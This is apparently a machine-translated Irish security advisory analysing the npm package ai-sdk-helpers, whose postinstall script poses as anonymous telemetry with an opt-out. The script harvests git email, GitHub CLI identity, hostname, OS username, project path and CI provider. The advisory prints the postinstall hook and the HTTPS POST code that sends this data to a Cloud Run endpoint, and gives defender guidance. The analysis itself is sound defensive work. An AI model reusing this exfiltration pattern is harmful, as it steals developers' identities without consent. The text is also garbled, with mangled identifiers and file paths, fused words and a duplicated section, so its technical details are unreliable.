TL; DR
Pacáiste npm aonair, cúntóirí-ai-sdk, cuireann sé é féin i láthair mar threalamh léiriúcháin don Vercel AI SDK, ag tairiscint rianú costais, cúltaca soláthraithe, agus cúntóirí sruthú.
Osclaítear a script ama suiteála le meirge nochta snasta ina gcuirtear síos diagnóisic gan ainm, ag gealladh nach dtarchuirfear aon chód foinse, comharthaí ná dintiúir, ag onóir a DO_NOT_TRACK rogha an diúltaithe, agus nascadh le leathanach beartais teileamaitreachta.
Ansin léann an script céanna céannacht git an fhorbróra, cumraíocht GitHub CLI, ainm óstach an mheaisín, ainm úsáideora an chórais oibriúcháin, eolaire oibre, agus soláthraí CI.
Déantar an fhaisnéis sin a POSTáil mar JSON chuig críochphointe Google Cloud Run, rud a chruthaíonn neamhréir shoiléir idir an polasaí teileamaitreachta luaite agus na réimsí iarbhír a bhailítear.
Foilsíodh an pacáiste i dhá leagan is fiche laistigh d'aon phléasc 83 soicind amháin, agus tá an script suiteála comhionann beart ar bheart ar fud gach leagan atá marcáilte.
Seacht gcinn de na hocht leagan a ndearna ár n-athbhreithniú orthu pipeline níor scóráladh iad mar chinntitheach ag aicmitheoir ML toisc go léitear stíl an mheirge toilithe cosúil le teileamaitreacht dhlisteanach.
Déanaimid aicmiú ai-sdk-helpers mar mailíseach bunaithe ar bhailiú agus ar eis-scriosadh aitheantais forbróra le linn na suiteála.
Déine: ard.
Anatamaíocht an tsuiteála
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }iar-shuiteáil ritheann go huathoibríoch ar npm a shuiteáil, sula ndéantar aon cheann de chód fógartha an phacáiste a allmhairiú riamh. An script scripteanna/postinstall.js is é an áit a bhfuil an t-iompar ar fad le linn an tsuiteála ina chónaí.
Osclaítear é le bloc tráchta agus fógra rith-ama atá scríofa i gclár tionscadail foinse oscailte atá feasach ar phríobháideacht:
>Nuair a shuiteálann tú ai-sdk-helpers, déanaimid seiceáil thapa ar chomhoiriúnacht timpeallachta a rith agus tuairiscímid diagnóisic gan ainm… Tá na sonraí go hiomlán gan ainm — bailímid d’ardán, leagan an Nóid, agus hais aontreo de d’aitheantóir meaisín. Ní tharchuirtear aon chód foinse, comharthaí ná dintiúir riamh.
Cuireann sé fiú geata rogha an diúltaithe oibre i bhfeidhm, an chéad chód inrite sa chomhad:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Is é an geata seo a chur i bhfeidhm ar dtús a fhágann go bhfuil an chuid eile comhthoiliúil: forbróir a shocraíonn `D_NOT_TRACK` críochnaíonn an suiteáil go ciúin agus críochnaíonn sé go gcomhlíonann an pacáiste an coinbhinsiún. Tá an rogha amach onórach fíor. Is é an rud a gheofar, dóibh siúd nach socraíonn é, ná an bailiúchán a bhfuil cur síos air thíos — ní an "ardán, leagan Nóid, agus hais aontreo" níos cúinge a thugann an fógra.
Faoi bhun an gheata sin, cuireann an script ualach le chéile a théann i bhfad thar an tuairisc sin.
- *Gcéannacht t.* ra réiteachScmAitheantas()` cinn `~.gitconfig`,`~.config/git/config`,agus ` an tionscadail reatha.é/cumraíocht`,déanann sé parsáil ar an `[ser]` alt, agus tugann sé an cumraithe ar ais commit ríomhphost. Mura dtugann aon chomhad cumraíochta ríomhphost, titeann sé ar ais go dtí an `GRÍOMHPHOST T_ÚDARRA`,`GT_COMMITRÍOMHPHOST`,agus `EAIL` athróga timpeallachta. Frámaíonn docstring os cionn na feidhme an léamh mar bhealach “chun suiteálacha a dhí-dhúbláil trasna meaisíní atá faoi úinéireacht an duine chéanna (m.sh. ríomhaire glúine + CI)” — cuspóir luaite a éilíonn aitheantóir cobhsaí in aghaidh an fhorbróra, rud a commit soláthairtí ríomhphoist.
- *Gcuntas tHub.* rréiteachGitHubIdentity()` cinn `~.config/gh/hosts.yml` agus `~.config/gh/hosts.yaml` an comhad cumraíochta a scríobhann an GitHub CLI nuair a dhéanann forbróir fíordheimhniú — agus nuair a bhaintear an `u le regexer:` agus étinn:` réimsí. Stórálann an comhad sin an comhartha GitHub OAuth freisin; díríonn regex an scripte ar na línte ainm úsáideora agus ríomhphoist go sonrach agus ní bhaintear an comhartha amach. Dá bhrí sin, tá an t-éileamh "ní tharchuirtear aon chomharthaí... riamh" ar an meirge nochta fíor go litriúil don réimse sin amháin agus na haitheantóirí cuntais máguaird á léamh agus á seoladh.
- *Hméarloirg st agus CI.* ansin bailíonn an script `o.ainmóstach()`,`o.eolasúsáideora().ainmúsáideora`,leagan, ardán agus ailtireacht an Nóid, `pocess.cwd()`,agus lipéad soláthraí CI a réitítear trí athróga comhshaoil a sheiceáil le haghaidh ocht soláthraí (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, agus dhá bhratach CI cineálach). Léitear an liosta soláthraithe mar fhardal de na háiteanna ina bhfuiltear ag súil go bhforghníomhófar an script — sliogáin idirghníomhacha agus tógáil uathoibrithe. pipelines araon.
Tá siad seo go léir grúpáilte i `d amháinagnóstaigh réad, leis na réimsí in aghaidh an fhorbróra bailithe faoi `ieintiteas agus sonraí an óstaigh faoi `ram agus `ctéacs eys, ansin sraithithe agus tarchurtha:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Cailltear an freagra agus slogtar na hearráidí go léir — tugann trácht faoi deara “nach mór do theileiméadracht an suiteáil a bhriseadh choíche.” Ionchódaíonn ainm óstach an chríochphointe seirbhís Google Cloud Run sa `erópa-siar1` réigiún.
Is í an bhearna an scéal. Ainmníonn an meirge trí chatagóir sonraí — ardán, leagan nóid, hais aitheantais meaisín. Seolann an t-ualach fíor-git forbróra. commit ríomhphost, a n-ainm úsáideora agus a ríomhphost GitHub, a n-ainm óstach meaisín agus ainm cuntais OS, a gcosán tionscadail, agus a dtimpeallacht CI. Na réimsí a shainaithníonn *prson agus a gcuntais* na réimsí go díreach nach bhfuil sa nochtadh.
Neartaíonn an README an frámaíocht ón taobh eile. Déanann a chuid “Teilimeatrachta” an t-éileamh anaithnideachta a athrá agus nascann sé an focal `D_NOT_TRACK` ó `cnsoledonottrack.com`,an leathanach pobail fíor a dhoiciméadaíonn an coinbhinsiún rogha an diúltaithe — príobháideacht aitheanta a fháil ar iasacht standard chun an fógra a léamh mar ghnáthnós.
amlíne
Is fionnachtain aonphacáiste amháin é seo le stair fhoilsithe an-ghearr, an-dlúth. Níl aon stua feachtais il-sheachtainí le rianú — brúdh an raon leagan iomlán ar luas meaisín.
| Cathain (UTC) | Imeacht |
|---|---|
| 2026-06-03 20:31:20 | An chéad leagan (0.1.0) foilsithe chuig npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Gach 22 leagan (0.1.0 trí 1.4.2) foilsithe i bpléasc uathoibrithe 83 soicind. |
| 2026-06-04 | Ocht leagan marcáilte ag comharthaí braite; dearbhaíonn anailís láimhe bailiú agus eis-scagtha aitheantais ag am suiteála. Bhí an pacáiste fós beo ar npm tráth na hanailíse. |
Is táscaire iompraíochta í féin an fhuinneog 83 soicind thar 22 leagan séimeantach: an dréimire leagan (`01.0`,`01.1`,… `14.2`)cuireann sé dromchla tionscadail atá á chothabháil go gníomhach i láthair le stair scaoilte, arna tháirgeadh in aon rith scriptithe amháin. Ní athraíonn an script suiteála trasna an dréimire sin — féach thíos.
Táscairí comhréitigh
Tá an t-ualach ama suiteála mar an gcéanna ar fud an raoin leaganacha foilsithe.ff` f`sripts/postinstall.js` idir leagan `02.1 ` leagan 14.2 ` ní thugann sé aon difríochtaí ar ais; is méarloirg sheasta amháin an t-iompar, ní ualach atá ag athrú.
líonra
Is táscaire iompraíochta í féin an fhuinneog 83 soicind thar 22 leagan séimeantach: an dréimire leagan (`01.0`,`01.1`,… `14.2`)cuireann sé dromchla tionscadail atá á chothabháil go gníomhach i láthair le stair scaoilte, arna tháirgeadh in aon rith scriptithe amháin. Ní athraíonn an script suiteála trasna an dréimire sin — féach thíos.
Táscairí comhréitigh
Tá an t-ualach ama suiteála mar an gcéanna ar fud an raoin leaganacha foilsithe.ff` f`sripts/postinstall.js` idir leagan `02.1 ` leagan 14.2 ` ní thugann sé aon difríochtaí ar ais; is méarloirg sheasta amháin an t-iompar, ní ualach atá ag athrú.
líonra
| Táscaire | Ról |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Críochphointe eis-scagtha ag fáil iarratais HTTPS POST le hualaí JSON. Óstáilte ar Google Cloud Run sa europe-west1 réigiún. |
Bonneagar mealladh
| Táscaire | Ról |
|---|---|
ai-sdk.guide | Leathanach baile an phacáiste agus an suíomh beo a thacaíonn le céannacht údair an "Treoir SDK AI". |
ai-sdk.guide/telemetry | URL an pholasaí teileamaitreachta dá dtagraítear san fhógra nochta tráth na suiteála. |
hello@ai-sdk.guide | Ríomhphost an údair dearbhaithe i package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Stór foinseach dearbhaithe ag an bpacáiste. |
Comhaid léite ag am suiteála
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` Ríomhphost
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIer` `etinn
Sínithe iompraíochta
- – m`pstopinstall` ag glaoch ar script Node pacáilte
- – geata rogha an diúltaithe (`A_SDK_CABHRAÍ_TEILEMÉADRA_DÍCHUMASAITHE`,`D_NOT_TRACK`)curtha i láthair mar ghné príobháideachta, roimh bhailiú aitheantais
- – POST HTTPS tbound de réada JSON ina bhfuil ríomhphost git, aitheantas GitHub, ainm óstach, ainm úsáideora OS, cwd, agus lipéad CI
- – script suiteála comhionann ar fud dréimire leagan a fhoilsítear go tapa
Leithdháileadh & Iompar Breathnaithe
Ní chuireann muid aon rud i leith an méid atá taifeadta ag meiteashonraí an phacáiste agus na clárlainne.
Is é coimeádaí taifead an chuntais `a` an cuntasielsimon`,leis an seoladh `aiel@vigilance.security`.Liostaíonn an clárlann an ríomhphost sin mar neamhfhíoraithe agus aitheantas rialaithe foinse an chuntais mar neamhfhíoraithe.`ckage.json`,ar leithligh, cuireann an t-údar i láthair mar “Treoir SDK AI”ello@ai-sdk.guide>`”le leathanach baile `a-sdk.guide` agus stór foinse faoi `geagraíocht thub.com/ai-sdk-guide`. Fearann ríomhphoist an chuntais fhoilsitheoireachta (`vigilance.security`)agus céannacht an údair sa phacáiste (`a-sdk.guide`)is fearainn éagsúla iad.
An `a-sdk.guide` Tá an ite beo agus freagraíonn sé, agus an `/eiliminteacht réitíonn ath — tá láithreacht ghréasáin inrochtana seachas nasc marbh mar thaca leis an gcéannacht mhealltóra, rud a ardaíonn inchreidteacht frámaíocht an phacáiste.
**Cumas breathnaithe.** Tráth na suiteála, léann an pacáiste comhaid aitheantais an fhorbróra agus comhaid chumraíochta cuntais, glacann sé méarloirg ar an timpeallacht óstach agus CI, agus tarchuireann sé an toradh chuig críochphointe atá faoi rialú an oibreora, agus fógra á thaispeáint a chuireann síos ar shraith sonraí níos cúinge agus níos anaithnide. Déanaimid cur síos ar an iompar seo; ní dhearbhaímid cúis leis. Ba chóir do léitheoirí atá ag meastóireacht an phacáiste — lena n-áirítear aon pháirtí a aithníonn an aitheantas foilsitheoireachta — an neamhréireacht inbhraite idir na sreafaí sonraí luaite agus iarbhír a mheá.
Tionchar, treochtaí agus treoir do chosantóirí
Cé atá nochtaithe. Duine ar bith a shuiteálann cúntóirí-ai-sdk — go díreach nó mar spleáchas aistreach — ritheann an bailiúchán ar an meaisín sin. Toisc gurb é an spreagadh iar-shuiteáil, ní gá an cód leabharlainne fógartha a allmhairiú riamh chun go dtarlóidh an sreabhadh sonraí; is leor an suiteáil ina haonar. Is iad na timpeallachtaí is airde luach ná stáisiúin oibre forbróra a bhfuil aitheantas git cumraithe agus CLI GitHub fíordheimhnithe acu, agus reathaithe CI, áit a léiríonn braiteadh soláthraí CI an script go bhfuiltear ag súil go rithfidh an bailiúchán laistigh den thógáil. pipelinechomh maith le ríomhairí glúine.
Cad a nochtann sé. Ní rúin feidhmchláir sa chás ginearálta — díríonn an t-ualach air féiniúlachtan fhorbróra commit ríomhphost, ainm agus ríomhphost a gcuntais GitHub, ainmneacha an mheaisín agus na gcuntas, agus cosán an tionscadail. Is réamhrá é sincisléarscáil de cé a shuiteáil an pacáiste, ar cén meaisín, i cén stórlann, agus faoina chóras CI. I gcás eagraíochta, chuirfeadh dornán taifead den sórt sin le chéile san áireamh cé na hinnealtóirí agus cé na córais tógála a tharraing an spleáchas - úsáideach mar réamhtheachtaí do ghníomhaíocht leantach níos spriocdhírithe, cé go stopann iompar an phacáiste seo féin ag bailiú agus tarchur.
An treocht: teileamaitríocht mar chlúdach. Bailíonn uirlisí forbróra dlisteanacha diagnóisic suiteála gan ainm, agus na coinbhinsiúin chun é sin a dhéanamh go measúil — fógra nochta, a NÁ_RIAN onóir, bratach rogha an diúltaithe, URL beartais — tá siad aitheanta go maith. cúntóirí-ai-sdk atáirgeann sé na ceithre choinbhinsiún sin go dílis agus úsáideann sé iad mar an fillteán le haghaidh bailiú aitheantais. Ní fianaise é láithreacht meirge toilithe, rogha an diúltaithe atá ag obair, nó nasc polasaí príobháideachta go bhfuil pacáiste iontaofa; tá na rialuithe sin saor le haithris. Is é an t-aon seiceáil iontaofa ná cad a léann an cód i ndáiríre agus cá seolann sé é i ndáiríre.
Tá éifeacht intomhaiste ag an bpacáistiú seo ar thriage uathoibrithe freisin. Trasna na leaganacha atá againn pipeline athbhreithnithe, scóráladh tráchtanna simplí teanga an script suiteála, ainmneacha réimsí struchtúrtha, agus geata rogha an diúltaithe traidisiúnta mar theileamaitríocht ghnáth: tháinig seacht gcinn as ocht ar ais neamhchinntitheach ón aicmitheoir ML seachas mailíseach. Ní sa phrós atá an comhartha a réitíonn an débhríocht — tá sé sna comhaid shonracha a osclaíonn an script (~ / .gitconfig, ~/.config/gh/hosts.yml) agus an ceann scríbe a sheoltar chuige. Tiocfaidh athbhreithneoir, uathoibrithe nó daonna, a léann an nochtadh agus a stopann ansin ar an gconclúid mhícheart; caithfidh an cinneadh teacht ó na fíricí sreafa sonraí.
Treoir do chosantóirí:
- Suiteáil le scripteanna díchumasaithe de réir réamhshocraithe — suiteáil npm –neamhaird-scripteanna, nó socraigh neamhaird-scripteanna=fíor in .npmrc agus céimeanna tógála fíoraithe a rith go sainráite. Neodraíonn sé seo iar-shuiteáil-bailiúchán spreagtha ar fud na tíre.
- Ná húsáid rialuithe rogha an diúltaithe mar chomharthaí muiníne. NÁ_RIAN Ní insíonn seic nó nasc “polasaí teileamaitreachta” aon rud duit faoi na sonraí a bhailíonn script nuair nach mbíonn an geata socraithe.
- Léigh an crúca suiteála sula nglactar le pacáistí cúnta éiceachórais AI. Is sprioc atá ag gluaiseacht go tapa agus a bhfuil muinín mhór astu é spás SDK AI Vercel; iar-shuiteáil a bhaineann ~ / .gitconfig or ~/.config/gh/ is comhartha soiléir é beag beann ar an gcaoi a scríobhtar na tuairimí máguaird.
- Monatóireacht a dhéanamh ar imeacht ama tógála. POST HTTPS amach le linn npm a shuiteáil, go háirithe chuig críochphointe feidhme scamall atá soláthartha le déanaí, is féidir a bhreathnú ag an tsraith líonra agus is pointe braite láidir é do thimpeallachtaí CI.
- Bí ag faire amach do dhreapairí leaganacha comhbhrúite. Pacáiste a bhfuil a stair leaganacha séimeantacha iomlán le feiceáil laistigh de shoicindí, le script suiteála gan athrú, tá stair chothabhála monaraithe á cur i láthair aige.
